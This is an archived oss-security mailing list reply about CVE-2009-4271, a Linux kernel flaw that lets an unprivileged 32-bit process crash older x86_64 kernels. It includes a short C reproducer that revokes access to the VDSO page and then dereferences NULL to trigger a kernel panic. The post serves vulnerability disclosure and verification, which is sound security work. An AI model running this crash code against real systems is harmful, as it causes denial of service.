Follow @Openwall on Twitter for new release announcements and other news
[<prev] [next>] [<thread-prev] [day] [month] [year] [list]
Message-ID: <20100317140759.GF16796@suse.de>
Date: Wed, 17 Mar 2010 15:07:59 +0100
From: Marcus Meissner <meissner@...e.de>
To: oss-security@...ts.openwall.com
Cc: coley@...us.mitre.org
Subject: Re: CVE-2009-4271 kernel: 32bit process on 64bit system DoS

On Wed, Mar 17, 2010 at 09:01:19AM +0800, Eugene Teo wrote:
> STMicroelectronics reported a flaw in the Linux kernel, versions 2.6.9 
> to 2.6.17, when running on x86_64, where a user could use a regular 
> 32bit process to trigger a kernel panic, without any special privileges. 
>  The bug occurs when a 32bit user process triggers a segfault (i.e. 
> de-reference a null-pointer) after having performed a mprotect() to 
> restrict any rwx access on its VDSO page.
> 
> This only affects Red Hat Enterprise Linux 4.
> 
> https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2009-4271

Would this be a valid reproducer? :

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>

int main(){
	FILE *f;
	char line[256];
	void *x,*y;

	f = fopen("/proc/self/maps","r");
	if (!f) exit(1);

	x=y=NULL;
	while (fgets(line,sizeof(line),f)) {
		if (strstr(line,"vdso")) {
			sscanf(line,"%p-%p ",&x,&y);
			fprintf(stderr,"vdso %x\n", x);
			break;
		}
	}
	if (!x) exit(1);

	mprotect(x,4096, PROT_NONE);
	*(char*)NULL = NULL;
}

Ciao, Marcus

Powered by blists - more mailing lists

Please check out the Open Source Software Security Wiki, which is counterpart to this mailing list.

Confused about mailing lists and their use? Read about mailing lists on Wikipedia and check out these guidelines on proper formatting of your messages.